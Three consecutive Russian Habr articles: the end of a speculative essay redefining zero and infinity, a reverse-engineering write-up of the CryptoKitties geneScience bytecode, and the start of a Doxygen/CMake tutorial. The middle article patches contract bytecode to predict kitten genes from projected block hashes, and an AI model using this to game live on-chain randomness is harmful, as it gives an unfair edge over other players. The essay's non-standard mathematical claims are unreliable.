Так как ни “абсолютный ноль“ (отмечен символом ноль), ни [»потенциальная бесконечность"](https://ru.wikipedia.org/wiki/Бесконечность#.D0.9F.D0.BE.D1.82.D0.B5.D0.BD.D1.86.D0.B8.D0.B0.D0.BB.D1.8C.D0.BD.D0.B0.D1.8F_.D0.B8_.D0.B0.D0.BA.D1.82.D1.83.D0.B0.D0.BB.D1.8C.D0.BD.D0.B0.D1.8F_.D0.B1.D0.B5.D1.81.D0.BA.D0.BE.D0.BD.D0.B5.D1.87.D0.BD.D0.BE.D1.81.D1.82.D1.8C) (отмечена символом беззнаковой бесконечности) недостижимы, ось растет из единицы бесконечно в обоих направлениях (масштаб неравномерный).
При определении вычитания определено “правило перестановки”. Мы же, в свою очередь, делаем копию нашей прямой и отображаем ее зеркально. Числа-близнецы и недостижимые для них пределы помечаем знаком “минус”. Положительная прямая, не соединена с отрицательной. Переход из одной прямой в другую выполняется только за счет “правила перестановки”.
Для наглядности изобразим полученную числовую прямую в виде круга. Так же, как мы делали при проективном расширении. Однако, предельные значения не смыкаем (компактификацию не выполняем). Данная трансформация смысловой нагрузки не несет и выполнена только для улучшения восприятия.
Теперь мы готовы к самому главному. Выполним переход от единой потенциальной бесконечности к бесконечному множеству [актуальных бесконечностей](https://ru.wikipedia.org/wiki/Бесконечность#.D0.9F.D0.BE.D1.82.D0.B5.D0.BD.D1.86.D0.B8.D0.B0.D0.BB.D1.8C.D0.BD.D0.B0.D1.8F_.D0.B8_.D0.B0.D0.BA.D1.82.D1.83.D0.B0.D0.BB.D1.8C.D0.BD.D0.B0.D1.8F_.D0.B1.D0.B5.D1.81.D0.BA.D0.BE.D0.BD.D0.B5.D1.87.D0.BD.D0.BE.D1.81.D1.82.D1.8C) (аналогичный подход используется в [нестандартном анализе](https://ru.wikipedia.org/wiki/Нестандартный_анализ)).
Будем относится к бесконечно большим величинам как к полноправным числам. За эталонную актуальную бесконечность возьмем “скорость” с которой функция следования достигает любого произвольного числа. Обозначим это число . Не стоит его путать с потенциальной бесконечностью , она все так же недостижима.
Для получения различных актуальных бесконечностей будем использовать понятие предела функции при стремлении к числу . Мы не будем отбрасывать бесконечно малые (низшего порядка) и не будем поглощать константы бесконечно большими величинами, как это принято в классическом анализе. Мы будем сохранять всю информацию, составляющую число. Соответственно, у нас появляется возможность сравнения бесконечно больших чисел.
Возводя число  в отрицательные степени, мы получаем бесконечно малые числа. По сути это и есть наше бесконечное множество нулей, которые можно сравнить между собой и использовать в арифметике (в отличие от бесконечно малой величины в классическом анализе).
**Математическим языком:**
> С точки зрения общей алгебры, наша алгебраическая система, не является полем, так как отсутствует ноль (нейтральный элемент). [Нестандартный анализ](http://ru.wikipedia.org/wiki/Нестандартный_анализ) оперирует аналогичными актуальными бесконечностями, они называются [гиперреальными числами](https://ru.wikipedia.org/wiki/Гиперреальное_число). Ноль (нейтральный элемент) является одним из гиперреальных чисел. Соответственно алгебраическая система нестандартного анализа оперирует полем.
>
>
>
> Наша эталонная бесконечность  представляет собой одно из чисел нестандартного анализа. Однако, вместо упрощенного понятия “скорость”, в нестандартном анализе числами являются классы эквивалентности бесконечных последовательностей. Так как в нашем концепте все алгебраические операции можно выразить через функцию следования, значит любую актуальную бесконечность, образованную арифметически, можно выразить через .
>
>
>
> По факту пределы практически перестают упрощаться, в том виде к которому мы привыкли. Сейчас мы просто производим замену переменной на . [Правило Лопиталя](https://ru.wikipedia.org/wiki/Правило_Лопиталя) так же не применимо. В первой части было показано как в классике, при определении производной, отбрасывается бесконечно малая величина. Однако стоит отметить, понятие предела в нестандартном анализе все же существует, но определено несколько шире.
Если возникнет практическая необходимость, можно определить операцию вычитания и для равных чисел (вместо “сокращения” определенного нами выше). Например, это может быть число низшего порядка, нежели исходные числа  (аналог уравнения из [колеса](http://en.wikipedia.org/wiki/Wheel_theory)). Арифметика окажется замкнутой. Но нужно отдавать себе отчет, что сумма двух двоек тут же окажется равной четырем с хвостиком. Это чем-то похоже на [сложение скоростей в теории относительности](https://ru.wikipedia.org/wiki/Сложение_скоростей#.D0.A0.D0.B5.D0.BB.D1.8F.D1.82.D0.B8.D0.B2.D0.B8.D1.81.D1.82.D1.81.D0.BA.D0.B0.D1.8F_.D0.BC.D0.B5.D1.85.D0.B0.D0.BD.D0.B8.D0.BA.D0.B0). Еще один пример, термодинамика и понятие [абсолютного нуля температуры](https://ru.wikipedia.org/wiki/Абсолютный_нуль_температуры). Остановив молекулы, атомы продолжают движение. Остановив атомы, кварки все еще двигаются и т.д. Погружение бесконечно.
Эпилог
------
Мы находимся между прошлым и будущим, между микро и макро миром. Во всех областях рано или поздно мы находим предел за который мы не сможем зайти и это нормально.
В математике все не так. Нам говорят что ноль — это число. Затем ставят его в один ряд со всеми остальными числами. Затем нам говорят, длина пути от минус единицы до единицы равна двум. И в этот момент наше сознание окончательно растворяет ноль среди остальных чисел.
Мы не можем делить на ноль, потому что забыли что однажды смешали понятие “ничто” и понятие “количество”.
**Полезная литература*** Ф.Клейн: Элементарная математика с точки зрения высшей ([pdf](http://book.isito.kg/Математика/Клейн Ф. - Элементарная математика с точки зрения высшей. Т. 1. Арифметика. Алгебра. Анализ.pdf))
* В.А.Успенский: Что такое нестандартный анализ? ([pdf](http://www.vixri.com/d/a_mat/USPENSKIJ V,A, . _Chto takoe nestandartnyj analiz.pdf))
* Setzer, Anton (Drafts): Wheels, 1997 ([pdf](http://www.cs.swan.ac.uk/~csetzer/articles/wheel.pdf))
* J.J.O’Connor and E.F.Robertson: A history of Zero ([html](http://www-gap.dcs.st-and.ac.uk/~history/HistTopics/Zero.html))
* Ю.Лебедев: Математика бесконечности ([html](http://n-t.ru/tp/ns/mb.htm))
* <http://en.wikipedia.org/wiki/Undefined_(mathematics)>
* <https://ru.wikipedia.org/wiki/Нестандартный_анализ> | https://habr.com/ru/post/249431/ | null | ru | null |
# Разбираемся с генетическим кодом криптокотиков
… и учимся работать с инструментами разработчиков Ethereum на реальном примере.
### Часть нулевая: объект попал в поле зрения
Я только что закончил свои лекции по курсу фулл-стек разработки децентрализованных Ethereum-приложений на Solidity на китайском языке. Я давал его в свободное от работы время с целью повысить уровень знаний о блокчейне и смарт контрактах среди китайского комьюнити разработчиков. За время работы я подружился с парой студентов.
И вот как раз по завершении курса, мы внезапно обнаружили себя в окружении вот таких созданий:
*Изображение с сайта cryptokitties.co*
Как и большинство столкнувшихся с этим феноменом людей, мы тоже не смогли сопротивляться этим милым криптосозданиям и быстро пристрастились к игре. Нам понравилось выводить новых котеек и мы даже заменили [метод утенка](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D1%83%D1%82%D1%91%D0%BD%D0%BA%D0%B0) на метод криптокошки. Я считаю, что зависимость от игр — это плохо, но не в этом случае, поскольку увлечение разведением котят быстро привело нас к вопросу:
### Как те или иные криптокошки получают свой набор генов?
Мы решили посвятить субботний вечер поискам ответа на него, и думаем, нам удалось добиться некоторого прогресса в разработке софта, позволяющего определить генетическую мутацию новорожденных криптокотят до их рождения. Иными словами, эта программа может помочь вам проверить и определить подходящее время оплодотворения кошки-матери, и получить тем самым наиболее интересные из возможных мутаций.
Мы публикуем этот материал в надежде, что он послужит всем желающим в качестве вводной статьи для ознакомления с очень полезными инструментами разработки на Ethereum, так же, как сами криптокотята позволили многим незнакомым с блокчейн людям влиться в ряды пользователей криптовалют.
### Часть первая: высокоуровневая логика генерации маленьких котят
Для начала мы задались вопросом: как происходит рождение криптокотят?
Для ответа на него мы воспользовались великолепным блокчейн-проводником Etherscan, позволяющим делать гораздо больше чем просто «изучать параметры и содержимое блоков». Так мы обнаружили исходный код контракта CryptoKittiesCore:
<https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code>
Обратите внимание, что развернутый контракт на деле несколько отличается от использованного в баунти-программе. Согласно этому коду, малыш-котенок образуется в два шага: 1) кошка-мать оплодотворяется котом; 2) несколько позже, когда период созревания плода подходит к концу, вызывается функция giveBirth. Эту функция как правило вызывается неким процессом-демоном, но, как вы увидите далее, для получения интересных мутаций, вам необходимо будет правильно подобрать блок, в котором родился ваш котенок.
```
function giveBirth(uint256 _matronId)
external
whenNotPaused
returns(uint256)
{
Kitty storage matron = kitties[_matronId];
// Проверить, что мать-кошка настоящая.
require(matron.birthTime != 0);
// Проверить, что она беременна и время родов пришло!
require(_isReadyToGiveBirth(matron));
// Взять из хранилища ссылку на кота-отца.
uint256 sireId = matron.siringWithId;
Kitty storage sire = kitties[sireId];
// Определить, кто из родителей принадлежит к более старшему поколению
uint16 parentGen = matron.generation;
if (sire.generation > matron.generation) {
parentGen = sire.generation;
}
// Вызвать сверхсекретную операцию смешивания генов.
uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1);
```
В приведенном выше коде вы можете четко видеть, что гены новорожденного котенка определяются прямо в момент рождения, путем вызова функции mixGenes из внешнего смарт-контракта geneScience. Эта функция принимает три параметра: ген матери, ген отца и номер блока, в котором кошка будет готова родить.
У вас вероятно возникнет закономерный вопрос, почему гены определяются не в момент зачатия, как это происходит в реальном мире? Как вы увидите в ходе дальнейшего повествования, это позволяет довольно изящно защититься от попыток предугадать и расшифровать гены. Такой подход исключает возможность 100% точного предсказания генов котенка до того, сам факт беременности кошки-матери фиксируется в блокчейне. И даже если бы вы могли узнать точный код, отвечающий за смешивание генов, это не дало бы Вам никакого преимущества.
Как бы то ни было, в начале мы этого еще не знали, поэтому давайте продолжим. Теперь нам надо узнать адрес контракта geneScience. Для этого воспользуемся MyEtherWallet:
[](https://habrastorage.org/webt/nf/fa/yl/nffaylnytgmybdkavya0so0ugmi.png)
*Адрес контракта geneScience*
Так выглядит байткод контракта:
```
0x60606040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630d9f5aed81146100715780631597ee441461009f57806354c15b82146100ee57806361a769001461011557806377a74a201461017e575b600080fd5b341561007c57600080fd5b61008d6004356024356044356101cd565b604051908152602001604051809........
```
По его виду и не скажешь, что в результате на все появляется нечто столь милое, как котенок, но нам очень повезло, что это публичный адрес, и нам не нужно искать его в хранилище). На самом деле мы считаем, что его не следует делать столь легко доступным. Если разработчики действительно хотели убедиться в правильности адреса контракта, им следовало бы воспользоваться функцией checkScienceAddress, но не будем занудствовать.
### Часть вторая: крах простой гипотезы
Итак, чего же мы хотим добиться в итоге? Надо понимать, что мы не ставим перед собой цель на все 100% задекомпилить байткод, превратив его в человекочитаемый solidity-код. Нам нужен дешевый (без необходимости платить за транзакции в боевом блокчейне) способ определения генов котенка при условии, что мы знаем, кто его родители. Вот этим и займемся.
Для начала давайте воспользуемся [опкод-инструментом](https://etherscan.io/opcode-tool) Etherscan для беглого анализа. Выглядит это так:
[](https://habrastorage.org/webt/m6/nt/72/m6nt72740bwhn4qz6dlkz0pc6qi.png)
*Гораздо понятнее*
Последуем золотому правилу расшифровки ассемблер-кода: начнем с простой и смелой гипотезы о поведении программы и, вместо попыток понять ее работу в целом, сосредоточимся на подтверждении выдвинутого предположения. Пробежимся по байткоду, чтобы ответить на некоторые вопросы:
1. Используются ли в нем временные метки? Нет, поскольку отсутствует опкод TIMESTAMP. Если в нем и есть какая-либо простая случайность, то ее источником точно является другой опкод.
2. Используется ли хэш блока? Да, BLOCKHASH встречается два раза. Поэтому случайность, если она есть, может возникать из их этих опкодов, но мы в этом пока не уверены.
3. Используются ли какие-либо хэши вообще? Да, встречается SHA3. Не ясно, впрочем, что он делает.
4. Используется ли msg.sender? Нет, поскольку отсутствует опкод CALLER. Поэтому к контракту не применяется какой-либо контроль доступа.
5. Используется ли какой-либо внешний контракт? Нет, отсутсвует опкод CALL.
6. Используется ли COINBASE? Нет, и таким образом мы исключаем еще один возможный источник случайности.
Получив ответ на эти вопросы, мы выдвигаем и намереваемся проверить простую гипотезу: результат mixGene определяется тремя и только тремя входными параметрами этой функции. Если это так, то мы могли бы просто задеплоить этот контракт локально, продолжить вызывать эту функцию с интересующими нас параметрами и тогда, возможно, мы могли бы получить набор генов котенка еще до оплодотворения кошки-матери.
Для проверки этого предположения мы вызываем функцию mixGene в основной сети с тремя случайными параметрами: 1111115, 80, 40 и получаем некий результат X. Далее, деплоим этот байткод с помощью [truffle и testrpc](http://truffleframework.com/). Так наша лень привела к несколько нестандартному способу применения truffle.
```
contract GeneScienceSkeleton {
function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256) {}
}
```
Начинаем со скелета контракта, кладем его в структуру папок фреймворка truffle и выполняем truffle compile. Однако вместо прямой миграции этого пустого контракта в testrpc, мы заменяем байткод контракта в папке build на реальный развернутый байткод и рантайм байткод контракта geneScience. Это нетипичный, но быстрый способ если вы хотите развернуть контракт с одним только байткодом и некоторым ограниченным открытым интерфейсом для локального тестирования. После этого мы напрямую вызываем Mixgenes с параметрами 1111115, 80, 40, и к нашему сожалению получаем в ответ ошибку с ответом revert. Хорошо, смотрим глубже. Как мы знаем, сигнатура функций mixGene — 0x0d9f5aed, поэтому берем ручку и бумагу и отслеживаем выполнение байткода, начиная с точки входа этой функции для учета изменений в стеке и хранилище. После нескольких JUMP’ов мы оказываемся здесь:
```
[497] DUP1
[498] NUMBER
[499] DUP14
[500] SWAP1
[501] GT
[504] PUSH2 0x01fe
[505] JUMPI
[507] PUSH1 0x00
[508] DUP1
[509] 'fd'(Unknown Opcode)
```
Судя по содержимому этих строк, если номер текущего блока меньше третьего параметра, то вызывается revert(). Хорошо, это вполне резонное поведение: вызов реальной функции в игре с указанием номера блока из будущего невозможен и этого логично.
Такую проверку входных данных легко обойти: мы просто майним немного блоков на testrpc и вызываем функцию повторно. В этот раз функция успешно возвращает значение Y.
Но, к сожалению, X != Y
Жаль. Это значит, что результат выполнения функции зависит не только от входных параметров, но также и от состояния блокчейна основной сети, которое, разумеется, отличается от состояния ненастоящего блокчейна testrpc.
### Часть третья: закатываем рукава и копаемся в стеке
Ладно. Значит, пришло время засучить рукава. Бумага больше не годится для отслеживания состояния стека. Значит для проведения более серьезных работ запустим весьма полезный EVM дизассемблер под названием [evmdis](https://github.com/Arachnid/evmdis).
По сравнению с бумагой и ручкой это ощутимый шаг вперед. Продолжим с того, на чем остановились в прошлой главе. Далее приводим воодушевляющий вывод с evmdis:
```
.............
:label22
# Stack: [@0x70E @0x70E @0x70E 0x0 0x0 0x0 @0x88 @0x85 @0x82 :label3 @0x34]
0x1EB PUSH(0x0)
0x1ED DUP1
0x1EE DUP1
0x1EF DUP1
0x1F0 DUP1
0x1F1 DUP1
0x1F3 DUP13
0x1F9 JUMPI(:label23, NUMBER() > POP())
# Stack: [0x0 0x0 0x0 0x0 0x0 0x0 @0x70E @0x70E @0x70E 0x0 0x0 0x0 @0x88 @0x85 @0x82 :label3 @0x34]
0x1FA PUSH(0x0)
0x1FC DUP1
0x1FD REVERT()
:label23
# Stack: [0x0 0x0 0x0 0x0 0x0 0x0 @0x70E @0x70E @0x70E 0x0 0x0 0x0 @0x88 @0x85 @0x82 :label3 @0x34]
0x1FF DUP13
0x200 PUSH(BLOCKHASH(POP()))
0x201 SWAP11
0x202 POP()
0x203 DUP11
0x209 JUMPI(:label25, !!POP())
# Stack: [0x0 0x0 0x0 0x0 0x0 0x0 @0x70E @0x70E @0x70E 0x0 @0x200 0x0 @0x88 @0x85 @0x82 :label3 @0x34]
0x20C DUP13
0x213 PUSH((NUMBER() & ~0xFF) + (POP() & 0xFF))
0x214 SWAP13
0x215 POP()
0x217 DUP13
0x21E JUMPI(:label24, !!(POP() < NUMBER()))
# Stack: [0x0 0x0 0x0 0x0 0x0 0x0 @0x70E @0x70E @0x70E 0x0 @0x200 0x0 @0x213 @0x85 @0x82 :label3 @0x34]
0x222 DUP13
0x223 PUSH(POP() - 0x100)
0x224 SWAP13
0x225 POP()
:label24
# Stack: [0x0 0x0 0x0 0x0 0x0 0x0 @0x70E @0x70E @0x70E 0x0 @0x200 0x0 [@0x223 | @0x213] @0x85 @0x82 :label3 @0x34]
0x227 DUP13
0x228 PUSH(BLOCKHASH(POP()))
0x229 SWAP11
0x22A POP()
:label25
# Stack: [0x0 0x0 0x0 0x0 0x0 0x0 @0x70E @0x70E @0x70E 0x0 [@0x200 | @0x228] 0x0 [@0x88 | @0x223 | @0x213] @0x85 @0x82 :label3 @0x34]
0x22C DUP11
0x22D DUP16
0x22E DUP16
...........
```
Чем evmdis действительно хорош, так это его полезностью для анализа JUMPDEST в нужные лейблы, которую невозможно переоценить.
Итак, после того, как мы передаем первоначальный require, мы оказываемся на label 23. Видим DUP13 и, вспоминаем по предыдущей главе, что номер 13 в стеке — это наш третий параметр. Значит мы пытаемся получить BLOCKHASH нашего третьего параметра. Однако действие BLOCKHASH ограничено 256 блоками. Вот почему за ним следует JUMPI (это if-конструкция). Если перевести логику опкодов на язык псевдокода, получим нечто подобное:
```
func blockhash(p) {
if (currentBlockNumber - p < 256)
return hash(p);
return 0;
}
var bhash = blockhash(thrid);
if (bhash == 0) {
thirdProjection = (currentBlockNumber & ~0xff) + (thridParam & 0xff);
if (thirdProjection > currentBlockNumber) {
thirdProjection -= 256;
}
thirdParam = thirdProjection;
bhash = blockhash(thirdProjection);
}
label 25 and beyond
..... some more stuff related to thirdParam and bhash
```
some more stuff related to thirdParam and bhash — другой код связанный с thirdParam и хэшем блока
Теперь мы полагаем, что нашли причину, по которой наши результаты отличаются от тех, что мы наблюдаем в основной сети. Что более важно, нам, судя по всему, удалось обнаружить источник случайности. А именно: хэш блока вычисляется на основе третьего параметра, или *прогноза* третьего параметра. Важно отметить, что в стеке третий параметр также заменяется на этот прогнозируемый номер блока.
Очевидно, что во время локального выполнения вне основной сети, у нас нет простого варианта навязать возвращение BLOCKHASH, совпадающего со значениями основной сети. Как бы то ни было, поскольку нам известны все три параметра, мы можем с легкостью наблюдать за основной сетью и получить хэш блока H для третьего параметра, равно как и хэш прогнозируемого блока.
Далее мы можем вставить этот хэш прямо в байт код в нашей локальной тестовой среде, и, если все пойдет по плану, мы получим, наконец, корректный набор генов.
Но есть одна загвоздка: DUP13 и BLOCKHASH — это всего 2 байта в коде, и если мы просто заменим их на 33 байтный PUSH32 0x\*хэш\*, счетчик программы полностью изменится и нам придется исправлять каждый JUMP и JUMPI. Или же нам придется сделать JUMP в конец кода и заменить инструкции развернутого кода и так далее.
Что ж, раз мы уж мы зашли так далеко, похакаем еще немного. Поскольку мы пушим 32-байтовый ненулевой хэш в if-ветку, условие всегда будет справедливо и следовательно, все, что записано в else части можно просто выкинуть, чтобы освободить место для нашего 32-байтового хэша. Ну в общем так мы и сделали:
[](https://habrastorage.org/webt/n1/xx/-x/n1xx-xl6ew1nlx-xjwzkgtk90cs.png)
Ключевой момент заключается в том, что поскольку мы отказались от else-части условия, нам нужно заменить третий входной параметр функции mixGene на прогноз третьего параметра перед ее вызовом.
Это к тому, что если вы пытаетесь получить результат операции
mixGene(X, Y, Z), где currentBlockNumber — Z < 256, вам нужно только заменить PUSH32-хэш на хэш блока Z.
Однако если вы намерены сделать следующее
mixGene(X, Y, Z), где currentBlockNumber — Z ≥ 256, вам надо будет заменить PUSH32-хэш на хэш блока proj\_Z, где proj\_Z определяется следующим образом:
```
proj_Z = (currentBlockNumber & ~0xff) + (Z & 0xff);
if (proj_Z > currentBlockNumber) {
proj_Z -= 256;
}
**И вам придется заменить Z на proj\_Z при вызове функции, то есть mixGene(X, Y, proj\_Z).**
```
Обратите внимание, что proj\_Z будет оставаться неизменным в определенном диапазоне блоков. К примеру, если Z&0xff = 128, то proj\_Z изменяется только на каждом нулевом и 128-м блоках.
Для подтверждения этой гипотезы и проверки, не ожидают ли нас еще какие-нибудь подводные камни впереди, мы изменили байткод и воспользовались еще одной классной утилитой под названием [hevm](https://github.com/dapphub/hevm).
[](https://habrastorage.org/webt/ey/d5/cx/eyd5cxlyauklees28j70widdisg.png)
Если вам еще не доводилось пользоваться hevm, рекомендую попробовать. Инструмент доступен вместе с собственным фреймворком, но более всего в его наборе следует отметить такую незаменимо полезную вещь, как интерактивный дебаггер стека.
```
Usage: hevm exec --code TEXT [--calldata TEXT] [--address ADDR] [--caller ADDR]
[--origin ADDR] [--coinbase ADDR] [--value W256] [--gas W256]
[--number W256] [--timestamp W256] [--gaslimit W256]
[--gasprice W256] [--difficulty W256] [--debug]
[--state STRING]
Available options:
-h,--help
```
Выше приведены опции запуска. Утилита позволяет указывать самые разные параметры. Среди них есть --debug, который и дает вам возможность дебага в интерактивном режиме.
Итак, вот мы сделали несколько обращений к развернутому на блокчейне основной сети контракту geneScience и записали результаты. Далее воспользовались hevm для запуска нашего ломанного байткода с данными, подготовленными с учетом описанных выше правил и…
Результаты совпали!
### Глава последняя: заключение и продолжение работы(?)
Итак, чего нам удалось добиться?
Используя наш хак-софт, вы можете со 100% вероятность предсказать 256-битный ген новорожденного котенка, если он рождается в диапазоне блоков [coolDownEndBlock(когда малыш готов появиться), текущий блок+256 (примерно)]. Вы можете рассуждать об этом следующим образом: когда малыш находится в утробе кошки-матери, его гены со временем подвергаются мутации, из-за источника энтропии в виде хэша прогнозируемого блока coolDownEndBlock, который также меняется с течением времени. Поэтому вы можете воспользоваться этой программой для проверки того, как будет выглядеть ген малыша, если бы он родился прямо сейчас. И если этот ген вам не нравится, вы можете подождать еще примерно 256 блоков (в среднем), и проверить новый ген.
Кто-то может сказать, что этого недостаточно, поскольку идеальным взломом можно считать только 100% точность предсказания еще до беременности кошки-матери. Однако это не представляется возможным, поскольку ген котенка определяется не только генами ее родителей, но и прогнозируемым хешем блока как фактора мутации, узнать который до оплодотворения попросту нельзя.
Что можно улучшить и какие здесь есть нюансы?
Мы быстро пробежались по изменениям, которые происходят в стеке в реальной логической части смарт контракта (label 25 и все, что после него) и мы полагаем, что эта предсказуемая часть кода mixGene вполне подлежит разбору и изучению. Мы надеемся, что хэш блока как фактор мутации также несет в себе некоторое физическое значение, помогая, например, определить, какой ген следует подвергать мутации. Если нам удастся с этим разобраться, мы получим исходный ген, без мутаций. Это полезно, поскольку если у вас нет хорошего исходного гена, то даже самой хорошей мутации может оказаться недостаточно.
Мы также не измеряли корреляцию между 256-битным геном и признаками котенка (цвет глаз, тип хвоста и прочее), но считаем, что это вполне возможно с помощью высокопроизводительного бота и простого классификатора.
И в целом нам вполне понятно намерение команды разработчиков CryptoKitties стабилизировать мутацию на протяжении короткого временного промежутка. Но обратная сторона такого подхода заключается в возможности произвести анализ наподобие сделанного нами.
Также мы бы хотели поблагодарить замечательное ethereum-комьюнити за разработку таких инструментов, как Etherscan, hevm, evmdis, truffle, testrpc, myetherwallet и Solidity. Это очень классное сообщество и мы рады быть его частью.
И, наконец, измененный код [https://github.com/modong/GeneScienceCracked/](https://github.com/modong/GeneScienceCracked/tree/master)
Не забудьте изменить $CONSTBLOCKHASH$ на хэш прогнозируемого блока.
[](https://wirexapp.com/ru/) | https://habr.com/ru/post/409345/ | null | ru | null |
# Работа c Doxygen в CMake
Недавно задался вопросом ведения документации по исходному коду и сборки её используя *Doxygen* и *CMake*. Столкнулся сразу с неприятной проблемой. Дело в том, что в своих проектах я использую следующую структуру:
```
build/
src/
CMakeLists.txt
Doxyfile
```
Сборка, в моём случае, происходит в каталоге build. Но сборка может быть выполнена из любого места. Так вот, если изменить каталог сборки, документация не будет собрана, т.к. *Doxygen* не найдет исходников по которым нужно собрать эту самую документацию. Тогда то я и задумался, как же управлять процессом сборки документации в связке *CMake* и *Doxygen*? Что если мне нужно получить несколько видов документации: пользователя и разработчика? Держать два файла конфигурации для *Doxygen*? Мне такой вариант не нравится, т.к. файлы будут отличаться значением только одной переменной **ENABLED\_SECTIONS**. Ниже я расскажу о там как можно управлять сборкой документации.
#### Способ первый (CONFIGURE\_FILE)
На просторах Интернета и в самих исходниках *CMake* можно найти примерно следующий способ работы с *Doxygen* в *CMake*.
> `1. FIND\_PACKAGE(Doxygen)
> 2. IF(DOXYGEN\_FOUND)
> 3. SET(DOXYGEN\_INPUT ${CMAKE\_SOURCE\_DIR})
> 4. CONFIGURE\_FILE(${CMAKE\_SOURCE\_DIR}/doxygen.conf.in ${CMAKE\_CURRENT\_BINARY\_DIR}/doxygen.conf)
> 5. ADD\_CUSTOM\_TARGET(doc COMMAND ${DOXYGEN\_EXECUTABLE} ${CMAKE\_CURRENT\_BINARY\_DIR}/doxygen.conf)
> 6. ELSE(DOXYGEN\_FOUND)
> 7. MESSAGE(STATUS "WARNING: Doxygen not found - Reference manual will not be created")
> 8. ENDIF(DOXYGEN\_FOUND)
> \* This source code was highlighted with Source Code Highlighter.`
Вся хитрость кроется в 3 и 4 строках приведённого выше кода. Разберём что в них происходит. Команда **ADD\_CUSTOM\_TARGET** копирует файл переданный первым параметром в файл переданный вторым параметром, заменяя при этом переменные вида **@VAR@** или **${VAR}** в исходном тексте на значения соответствующих переменных определённых в Ваших *CMake* файлах (более подробно о ADD\_CUSTOM\_TARGET читайте в [документации](http://cmake.org/cmake/help/cmake-2-8-docs.html#command:configure_file)). Т.е. если в doxygen.conf.in файле у нас имеется строка вида **INPUT = @DOXYGEN\_INPUT@**, то в файле doxygen.conf она будет заменена и вместо **@DOXYGEN\_INPUT@** подставится значение переменной **CMAKE\_SOURCE\_DIR** (см. 3 строку приведённого выше кода).
Приведённый способ даёт возможность как то управлять процессом сборки документации и вполне подходит для большинства проектов. Тем не менее в нём есть несколько серьёзных, на мой скромный взгляд, недостатков:
1. Всем переменным которыми мы хотим управлять нужно заранее выставить значение вида **@VAR@** или **${VAR}**
2. Мы не можем использовать для этого *Doxywizard*. И вообще про *Doxywizard* можно забыть, т.к. формат файла становится с ним не совместимым. Пересохранение файла из *Doxywizard* просто поломает все наши настройки.
3. Ну и главное, подобный файл конфигурации становится не совместимым с самим *Doxygen* и без *CMake* мы не сможем им воспользоваться и получить правильную документацию.
#### Способ другой (мой вариант)
Что бы обойти перечисленные выше недостатки я решил написать свои макросы для управления процессом сборки документации.
> `1. MACRO(CONFIGURE\_DOXYGEN\_FILE DOXYGEN\_CONFIG\_FILE FILE\_NAME\_SUFFIX)
> 2. IF(EXISTS ${PROJECT\_SOURCE\_DIR}/${DOXYGEN\_CONFIG\_FILE})
> 3. FILE(REMOVE ${CMAKE\_CURRENT\_BINARY\_DIR}/doxy-${FILE\_NAME\_SUFFIX}.conf)
> 4. FILE(READ ${PROJECT\_SOURCE\_DIR}/${DOXYGEN\_CONFIG\_FILE} DOXYFILE\_CONTENTS)
> 5. STRING(REGEX REPLACE ";" "\\\\;" DOXYFILE\_CONTENTS "${DOXYFILE\_CONTENTS}")
> 6. STRING(REGEX REPLACE "\n" ";" DOXYFILE\_LINES "${DOXYFILE\_CONTENTS}")
> 7. LIST(LENGTH DOXYFILE\_LINES ROW)
> 8. MATH(EXPR ROW "${ROW} - 1")
> 9. FOREACH(I RANGE ${ROW})
> 10. LIST(GET DOXYFILE\_LINES ${I} LINE)
> 11. IF(LINE STRGREATER "")
> 12. STRING(REGEX MATCH "^[a-zA-Z]([^ ])+" DOXY\_PARAM ${LINE})
> 13. IF(DEFINED DOXY\_${DOXY\_PARAM})
> 14. STRING(REGEX REPLACE "=([^\n])+" "= ${DOXY\_${DOXY\_PARAM}}" LINE ${LINE})
> 15. ENDIF(DEFINED DOXY\_${DOXY\_PARAM})
> 16. ENDIF()
> 17. FILE(APPEND ${CMAKE\_CURRENT\_BINARY\_DIR}/doxy-${FILE\_NAME\_SUFFIX}.conf "${LINE}\n")
> 18. ENDFOREACH()
> 19. ELSE()
> 20. MESSAGE(SEND\_ERROR "Doxygen configuration file '${DOXYGEN\_CONFIG\_FILE}' not found. Documentation will not be generated")
> 21. ENDIF()
> 22. ENDMACRO(CONFIGURE\_DOXYGEN\_FILE)
> \* This source code was highlighted with Source Code Highlighter.`
> `1. MACRO(ADD\_DOCUMENTATION TARGET DOXYGEN\_CONFIG\_FILE)
> 2. FIND\_PACKAGE(Doxygen)
> 3. IF(DOXYGEN\_FOUND)
> 4. CONFIGURE\_DOXYGEN\_FILE(${DOXYGEN\_CONFIG\_FILE} ${TARGET})
> 5. ADD\_CUSTOM\_TARGET(${TARGET} COMMAND ${DOXYGEN\_EXECUTABLE} ${CMAKE\_CURRENT\_BINARY\_DIR}/doxy-${TARGET}.conf)
> 6. ELSE(DOXYGEN\_FOUND)
> 7. MESSAGE(STATUS "Doxygen not found. Documentation will not be generated")
> 8. ENDIF(DOXYGEN\_FOUND)
> 9. ENDMACRO(ADD\_DOCUMENTATION)
> \* This source code was highlighted with Source Code Highlighter.`
Простейший способ использования
> `1. SET(DOXY\_OUTPUT\_LANGUAGE "Russian")
> 2. SET(DOXY\_INPUT ${PROJECT\_SOURCE\_DIR})
> 3. ADD\_DOCUMENTATION(doc Doxyfile)
> \* This source code was highlighted with Source Code Highlighter.`
Рассмотрим что здесь происходит. Макрос **CONFIGURE\_DOXYGEN\_FILE** в чём то похож на команду *CMake* [configure\_file](http://cmake.org/cmake/help/cmake-2-8-docs.html#command:configure_file). Она создает копию файла конфигурации *Doxygen*, но при этом не требует ни каких специальных изменений в нём. Она читает файл конфигурации построчно, отыскивает параметры *Doxygen* и проверяет, есть ли в *CMake* параметр с аналогичным именем и префиксом **DOXY\_** (строка 13). Если такой параметр существует, его значение подставляется как значение параметра *Doxygen* (строка 14).
Т.о. мы можем манипулировать любыми параметрами *Doxygen* в *CMake* и при этом не теряем совместимости исходного файла конфигурации с *Doxygen* и *Doxywizard*. Получаемая копия файла полностью сохраняет структуру оригинала.
Ну и в завершение пример использования посложнее. Вариант того как может выглядеть одновременная сборка документации пользователя и разработчика. Для это в исходных кодах Вы должны отметить соответствующие секции используя команду [\if](http://www.stack.nl/~dimitri/doxygen/commands.html#cmdif)
